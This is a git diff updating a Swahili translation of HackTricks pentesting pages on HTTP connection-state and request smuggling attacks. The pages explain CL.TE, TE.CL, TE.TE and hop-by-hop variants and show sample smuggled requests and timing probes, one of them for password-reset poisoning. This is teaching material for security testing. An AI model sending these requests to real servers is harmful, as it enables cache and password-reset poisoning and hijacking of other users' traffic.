diff --git a/.gitbook/assets/image (729).png b/.gitbook/assets/image (729).png
new file mode 100644
index 000000000..bb28eba03
Binary files /dev/null and b/.gitbook/assets/image (729).png differ
diff --git a/pentesting-web/http-connection-request-smuggling.md b/pentesting-web/http-connection-request-smuggling.md
index aba3b4b9d..b5c675e98 100644
--- a/pentesting-web/http-connection-request-smuggling.md
+++ b/pentesting-web/http-connection-request-smuggling.md
@@ -1,58 +1,55 @@
-# Udukuzi wa Ombi la Uunganisho wa HTTP
+# Udukuzi wa Ombi la Uunganisho la HTTP
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
-* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
-* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Jiunge na** [**π¬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** π¦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
+* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
+* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Jiunge na** [**π¬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** π¦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-**Hii ni muhtasari wa chapisho [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
+**Hii ni muhtasari wa chapisho** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Mashambulizi ya Hali ya Uunganisho
### Uhakiki wa Ombi la Kwanza
-Wakati wa kuelekeza maombi, wakala wa kurudisha unaweza kutegemea **kichwa cha Mwenyeji (Host header)** ili kubaini seva ya nyuma ya marudio, mara nyingi ikitegemea orodha nyeupe ya wenyeji wanaoruhusiwa kupata. Walakini, kuna udhaifu katika baadhi ya wakala ambapo orodha nyeupe inatekelezwa tu kwenye ombi la awali katika uunganisho. Kwa hivyo, wadukuzi wanaweza kutumia hili kwa kwanza kuomba kwa mwenyeji anayeruhusiwa na kisha kuomba tovuti ya ndani kupitia uunganisho huo huo:
-```text
+Wakati wa kuelekeza maombi, seva za mwendeshaji wa nyuma zinaweza kutegemea **kichwa cha Mwenyeji (Host header)** kubaini seva ya nyuma ya marudio, mara nyingi ikitegemea orodha nyeupe ya wenyeji wanaoruhusiwa kupata. Walakini, kuna udhaifu katika baadhi ya seva za mwendeshaji ambapo orodha nyeupe inatekelezwa tu kwenye ombi la awali katika uunganisho. Kwa hivyo, wadukuzi wanaweza kutumia hili kwa kwanza kutuma ombi kwa mwenyeji ulioruhusiwa na kisha kuomba tovuti ya ndani kupitia uunganisho huo huo:
+```
GET / HTTP/1.1
Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
-Makosa haya hayajitokezi sana.
+### Utekelezaji wa Kwanza wa Ombi
-### Utekelezaji wa Ombi la Kwanza
-
-Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kijajuu cha ombi la kwanza** ili kubainisha njia ya nyuma ya ombi hilo, na kisha kuendelea kupeleka ombi zote zinazofuata kutoka kwa uhusiano huo wa mteja kwenye uhusiano huo wa nyuma. Hii inaweza kuonyeshwa kama:
-```text
+Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kichwa cha Mwenyeji cha ombi la kwanza** kubainisha njia ya nyuma ya ombi hilo, na kisha kuendelea kupeleka maombi yote yanayofuata kutoka kwa uhusiano huo wa mteja kwa uhusiano huo wa nyuma. Hii inaweza kuonyeshwa kama:
+```
GET / HTTP/1.1
Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
-Shida hii inaweza kuunganishwa na [mashambulizi ya kichwa cha mwenyeji](https://portswigger.net/web-security/host-header), kama sumu ya upya wa nenosiri au [sumu ya akiba ya wavuti](https://portswigger.net/web-security/web-cache-poisoning), ili kutumia udhaifu mwingine au kupata ufikiaji usiohalali kwa wenyewe wengine wa vituo vya kawaida.
+Hili tatizo linaweza kuunganishwa na [mashambulizi ya kichwa cha mwenyeji](https://portswigger.net/web-security/host-header), kama sumu ya upya wa nenosiri au [sumu ya cache ya wavuti](https://portswigger.net/web-security/web-cache-poisoning), kwa kufaidika na udhaifu mwingine au kupata ufikiaji usioruhusiwa kwa mwenyeji wa vituali vingine.
{% hint style="info" %}
-Ili kutambua udhaifu huu, unaweza kutumia kipengele cha 'connection-state probe' katika HTTP Request Smuggler.
+Kutambua udhaifu huu, kipengele cha 'connection-state probe' katika HTTP Request Smuggler kinaweza kutumika.
{% endhint %}
-
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa nahtARTE (HackTricks AWS Red Team Expert)!
-* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
-* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Jiunge na** [**π¬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** π¦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
+* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
+* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Jiunge na** [**π¬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** π¦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/http-request-smuggling/README.md b/pentesting-web/http-request-smuggling/README.md
index 8745db48d..7616db69c 100644
--- a/pentesting-web/http-request-smuggling/README.md
+++ b/pentesting-web/http-request-smuggling/README.md
@@ -23,7 +23,7 @@ Hii inaruhusu mtumiaji **kurekebisha ombi linalofuata linalofika kwa seva ya nyu
[**Maelezo ya RFC (2161)**](https://tools.ietf.org/html/rfc2616)
-> Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho LAZIMA uachwe.
+> Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho UNASTAHILI kupuuzwa.
**Content-Length**
@@ -31,21 +31,21 @@ Hii inaruhusu mtumiaji **kurekebisha ombi linalofuata linalofika kwa seva ya nyu
**Transfer-Encoding: chunked**
-> Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji uliotumiwa kusafirisha salama mwili wa mzigo kwa mtumiaji.\
+> Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji iliyotumika kwa usalama kuhamisha mwili wa mzigo kwa mtumiaji.\
> Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande.
### Uhalisia
-**Mbele** (usawa wa mzigo / Reverse Proxy) **huprocess** kichwa cha _**content-length**_ au _**transfer-encoding**_ na **seva ya nyuma** huprocess **moja nyingine** ikisababisha **desyncronization** kati ya mifumo 2.\
-Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa proxy ya nyuma ambayo itatafsiriwa na **seva ya nyuma kama maombi 2 tofauti**. Hatari ya mbinu hii iko katika ukweli kwamba **seva ya nyuma itatafsiri** ombi la **pili lililowekwa** kana kwamba **ilitoka kwa mteja anayefuata** na **ombi halisi** la mteja huyo litakuwa **sehemu** ya **ombi lililowekwa**.
+**Mbele** (usawa wa mzigo / Reverse Proxy) **huprocess** _**content-length**_ au _**transfer-encoding**_ kichwa na **seva ya nyuma** huprocess nyingine moja ikisababisha **desyncronization** kati ya mifumo 2.\
+Hii inaweza kuwa muhimu sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa proxy ya nyuma ambayo itatafsiriwa na **seva ya nyuma kama maombi 2 tofauti**. **Hatari** ya mbinu hii iko katika ukweli kwamba **seva ya nyuma itatafsiri** **ombi la 2 lililowekwa** kana kwamba **ilitoka kwa mteja anayefuata** na **ombi halisi** ya mteja huyo itakuwa **sehemu** ya **ombi lililowekwa**.
### Vipengele Maalum
-Kumbuka kuwa katika HTTP **tabia mpya ya mstari inajumuisha bayti 2:**
+Kumbuka kwamba katika HTTP **tabia mpya ya mstari inajumuisha bayti 2:**
-* **Content-Length**: Kichwa hiki hutumia **namba ya decimal** kuonyesha **idadi** ya **bayti** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**.
-* **Transfer-Encoding:** Kichwa hiki hutumia katika **mwili** namba ya **hexadecimal** kuonyesha **idadi** ya **bayti** ya **kitengo kifuatacho**. **Kitengo** lazima **malize** na **mstari mpya** lakini mstari huu mpya **hauchumiwi** na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima imalize na **kitengo cha ukubwa 0 kifuatiwe na mstari mpya 2**: `0`
-* **Connection**: Kulingana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la kudukua ombi.
+* **Content-Length**: Kichwa hiki hutumia **namba ya decimal** kuonyesha **idadi** ya **bayti** ya **mwili** wa ombi. Mwili unatarajiwa kuishia katika herufi ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**.
+* **Transfer-Encoding:** Kichwa hiki hutumia katika **mwili** namba ya **hexadecimal** kuonyesha **idadi** ya **bayti** ya **kikundi kifuatacho**. **Kikundi** lazima **liishe** na **mstari mpya** lakini mstari huu mpya **hauchumiwi** na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima iishe na **kikundi cha ukubwa 0 kifuatiwa na mistari 2 mipya**: `0`
+* **Connection**: Kulingana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la kudukua.
## Mifano ya Msingi
@@ -53,19 +53,19 @@ Kumbuka kuwa katika HTTP **tabia mpya ya mstari inajumuisha bayti 2:**
Unapojaribu kutumia hii na Burp Suite **lemaza `Sasisha Urefu wa Yaliyomo` na `Fanya Mstari wa HTTP/1 uwe wa kawaida`** kwenye repeater kwa sababu baadhi ya vifaa vinatumia mstari mpya, kurudi nyuma na urefu wa yaliyomo usio sahihi.
{% endhint %}
-Mashambulio ya kudukua ombi la HTTP hupangwa kwa kutuma maombi yenye utata yanayotumia tofauti katika jinsi seva za mbele na seva za nyuma zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulio haya yanaweza kutokea katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na seva za nyuma zinavyopatia kipaumbele vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
+Mashambulio ya kudukua ombi la HTTP hufanywa kwa kutuma maombi yenye utata ambayo yanatumia tofauti katika jinsi seva za mbele na nyuma zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kutokea katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na nyuma zinavyoprioritize vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
### Mifano ya Msingi ya Aina za Udhaifu
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
-#### Udhaifu wa CL.TE (Content-Length hutumiwa na Mbele, Transfer-Encoding hutumiwa na Nyuma)
+#### Udhaifu wa CL.TE (Content-Length kutumika na Mbele, Transfer-Encoding kutumika na Nyuma)
* **Mbele (CL):** Huprocess ombi kulingana na kichwa cha `Content-Length`.
* **Nyuma (TE):** Huprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Skena ya Shambulio:**
* Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa yaliyomo.
-* Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya `Content-Length`.
+* Seva ya mbele inapeleka ombi lote kwa nyuma, kulingana na thamani ya `Content-Length`.
* Seva ya nyuma inasindika ombi kama chunked kutokana na kichwa cha `Transfer-Encoding: chunked`, ikifasiri data iliyobaki kama ombi tofauti, la baadaye.
* **Mfano:**
@@ -82,13 +82,13 @@ GET /404 HTTP/1.1
Foo: x
```
-#### Udhaifu wa TE.CL (Transfer-Encoding hutumiwa na Mbele, Content-Length hutumiwa na Nyuma)
+#### Udhaifu wa TE.CL (Transfer-Encoding kutumika na Mbele, Content-Length kutumika na Nyuma)
* **Mbele (TE):** Huprocess ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Nyuma (CL):** Huprocess ombi kulingana na kichwa cha `Content-Length`.
* **Skena ya Shambulio:**
* Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (`7b`) na urefu halisi wa yaliyomo (`Content-Length: 4`) havilingani.
-* Seva ya mbele, ikizingatia `Transfer-Encoding`, inapeleka ombi lote kwa seva ya nyuma.
+* Seva ya mbele, ikizingatia `Transfer-Encoding`, inapeleka ombi lote kwa nyuma.
* Seva ya nyuma, ikizingatia `Content-Length`, inasindika sehemu ya awali tu ya ombi (`bayti 7b`), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye.
* **Mfano:**
@@ -111,11 +111,11 @@ x=
```
#### Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)
-* **Seva:** Zote mbili zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kwa kutozingatia kupitia kuficha.
-* **Skena ya Shambulizi:**
+* **Seva:** Zote mbili zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kwa kutozingatia kwa kuficha.
+* **Skenario ya Shambulio:**
* Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya `Transfer-Encoding`.
-* Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, inaweza kudukuliwa kwa kushambulia CL.TE au TE.CL.
-* Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikiongoza kwa udanganyifu.
+* Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, udhaifu wa CL.TE au TE.CL unaweza kutumiwa.
+* Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha usafirishaji haramu.
* **Mfano:**
```
@@ -135,10 +135,10 @@ Transfer-Encoding
: chunked
```
-#### **Skena ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):**
+#### **Skenario ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):**
-* Seva zote zinasindika ombi kulingana na kichwa cha `Content-Length` pekee.
-* Skena hii kawaida haiongozi kwa udanganyifu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
+* Zote seva zinasindika ombi kulingana na kichwa cha `Content-Length` pekee.
+* Skenario hii kawaida haileti usafirishaji haramu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
* **Mfano:**
```
@@ -150,10 +150,10 @@ Connection: keep-alive
Ombi la Kawaida
```
-#### **Skena ya CL != 0:**
+#### **Skenario ya CL != 0:**
-* Inahusu hali ambapo kichwa cha `Content-Length` kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
-* Ni muhimu katika kuelewa na kutengeneza mashambulizi ya udanganyifu, kwani inaathiri jinsi seva zinavyobaini mwisho wa ombi.
+* Inahusu hali ambapo kichwa cha `Content-Length` kipo na kina thamani tofauti na sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
+* Ni muhimu katika kuelewa na kutengeneza mashambulio ya usafirishaji, kwani inaathiri jinsi seva zinavyobaini mwisho wa ombi.
* **Mfano:**
```
@@ -165,9 +165,9 @@ Connection: keep-alive
Mwili usio tupu
```
-#### Kulazimisha kupitia vichwa vya hop-kwa-hop
+#### Kulazimisha kupitia vichwa vya hop-hop
-Kwa kutumia vichwa vya hop-kwa-hop unaweza kuashiria kwa wakala **kufuta kichwa cha Content-Length au Transfer-Encoding hivyo uwezekano wa udanganyifu wa ombi la HTTP unaweza kutumiwa kudukua**.
+Kwa kutumia vichwa vya hop-hop unaweza kuashiria kwa wakala **kufuta kichwa cha Content-Length au Transfer-Encoding ili usafirishaji wa ombi la HTTP uwezekane kudhulumiwa**.
```
Connection: Content-Length
```
@@ -177,19 +177,19 @@ Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop**, tembelea:
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
-## Kupata Uvujaji wa Ombi la HTTP
+## Kupata Ufichuaji wa Maombi ya HTTP
-Kutambua udhaifu wa uvujaji wa ombi la HTTP mara nyingi hufanikiwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani server itachukua kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kugundua udhaifu kama huo:
+Kutambua udhaifu wa ufichuaji wa maombi ya HTTP mara nyingi hufanikiwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kugundua udhaifu kama huo:
### Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
* **Mbinu:**
-* Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
+* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Mfano:**
```
POST / HTTP/1.1
-Host: tovuti-isio-na-ulinzi.com
+Host: tovuti-isiyolindwa.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
@@ -199,21 +199,21 @@ A
0
```
* **Uchunguzi:**
-* Server ya mbele huprocess ombi kulingana na `Content-Length` na kukata ujumbe mapema.
-* Server ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha kucheleweshwa.
+* Seva ya mbele huprocess ombi kulingana na `Content-Length` na kukata ujumbe mapema.
+* Seva ya nyuma, ikitarajia ujumbe uliogawanywa, inasubiri kipande kinachofuata ambacho hakiwasili, kusababisha kucheleweshwa.
* **Viashiria:**
* Muda wa kusubiri au kuchelewesha mrefu katika majibu.
-* Kupokea kosa la 400 Bad Request kutoka kwa server ya nyuma, mara nyingine na maelezo ya kina ya server.
+* Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine na maelezo ya kina ya seva.
### Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
* **Mbinu:**
-* Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
+* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Mfano:**
```
POST / HTTP/1.1
-Host: tovuti-isio-na-ulinzi.com
+Host: tovuti-isiyolindwa.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
@@ -222,43 +222,41 @@ Content-Length: 6
X
```
* **Uchunguzi:**
-* Server ya mbele huprocess ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe wote.
-* Server ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haijafika, ikisababisha kucheleweshwa.
+* Seva ya mbele huprocess ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe wote.
+* Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haitawasili, kusababisha kucheleweshwa.
### Mbinu Nyingine za Kupata Udhaifu
* **Uchambuzi wa Majibu Tofauti:**
-* Tuma toleo kidogo tofauti za ombi na uchunguze ikiwa majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
+* Tuma toleo kidogo tofauti la ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
* **Kutumia Zana za Kiotomatiki:**
* Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
-* **Vipimo vya Urefu wa Yaliyomo (`Content-Length`):**
-* Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi server inavyoshughulikia kutofautiana kama hizo.
-* **Vipimo vya Uhamishaji wa Vipande (`Transfer-Encoding`):**
-* Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya `Transfer-Encoding` na ufuatilie jinsi server ya mbele na nyuma inavyojibu kwa manipulations kama hizo.
+* **Vipimo vya Upeo wa Content-Length:**
+* Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kama hizo.
+* **Vipimo vya Upeo wa Transfer-Encoding:**
+* Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya `Transfer-Encoding` na ufuatilie jinsi seva za mbele na nyuma zinavyojibu kwa manipulations kama hizo.
-### Jaribio la Udhaifu wa Uvujaji wa Ombi la HTTP
+### Jaribio la Udhaifu wa Ufichuaji wa Maombi ya HTTP
-Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa `/` kutoe majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyozungumziwa hapo awali katika [Mifano ya Msingi](./#mifano-ya-msingi) inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.
+Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu moja rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa `/` kutoe majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyozungumziwa hapo awali katika [Mifano ya Msingi](./#mifano-ya-msingi) inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.
**Mambo Muhimu**
-Wakati wa kujaribu udhaifu wa uvujaji wa ombi kwa kuingilia kati maombi mengine, kumbuka:
+Wakati wa kujaribu udhaifu wa ufichuaji wa maombi kwa kuingilia kati na maombi mengine, kumbuka:
* **Mawasiliano Tofauti ya Mtandao:** Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
-* **URL na Vigezo Thabiti:** Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote. Programu za kisasa mara nyingi hurekebisha maombi kwa server za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na server ile ile, sharti la shambulio la mafanikio.
-* **Wakati na Hali za Mashindano:** Ombi la "kawaida," lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio," linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio." Programu zilizojaa zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
-* **Changamoto za Usawa wa Mzigo:** Server za mbele zinazofanya kazi kama mizani ya mzigo zinaweza kusambaza maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Upande huu wa usawa wa mzigo unaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
-* **Athari Isiyotarajiwa kwa Mtumiaji:** Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako lilimwathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kukaribia kwa tahadhari.
+* **URL na Vigezo Thabiti:** Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote. Programu za kisasa mara nyingi huzielekeza maombi kwa seva za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
+* **Wakati na Hali za Mashindano:** Ombi la "kawaida", lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio". Programu zilizojaa zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
+* **Changamoto za Kugawanya Mzigo:** Seva za mbele zinazofanya kazi kama mizani ya mzigo zinaweza kusambaza maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya kugawanya mzigo inaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
+* **Athari Isiyotarajiwa kwa Mtumiaji:** Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako limeathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kuwa makini.
-## Kutumia Uvujaji wa Ombi la HTTP
+## Kutumia Ufichuaji wa Maombi ya HTTP
-### Kupita Udhibiti wa Ulinzi wa Mbele
+### Kuzunguka Ulinzi wa Mbele kupitia Ufichuaji wa Maombi ya HTTP
-### Kuzunguka Ulinzi wa Mbele kupitia Uvujaji wa Ombi la HTTP
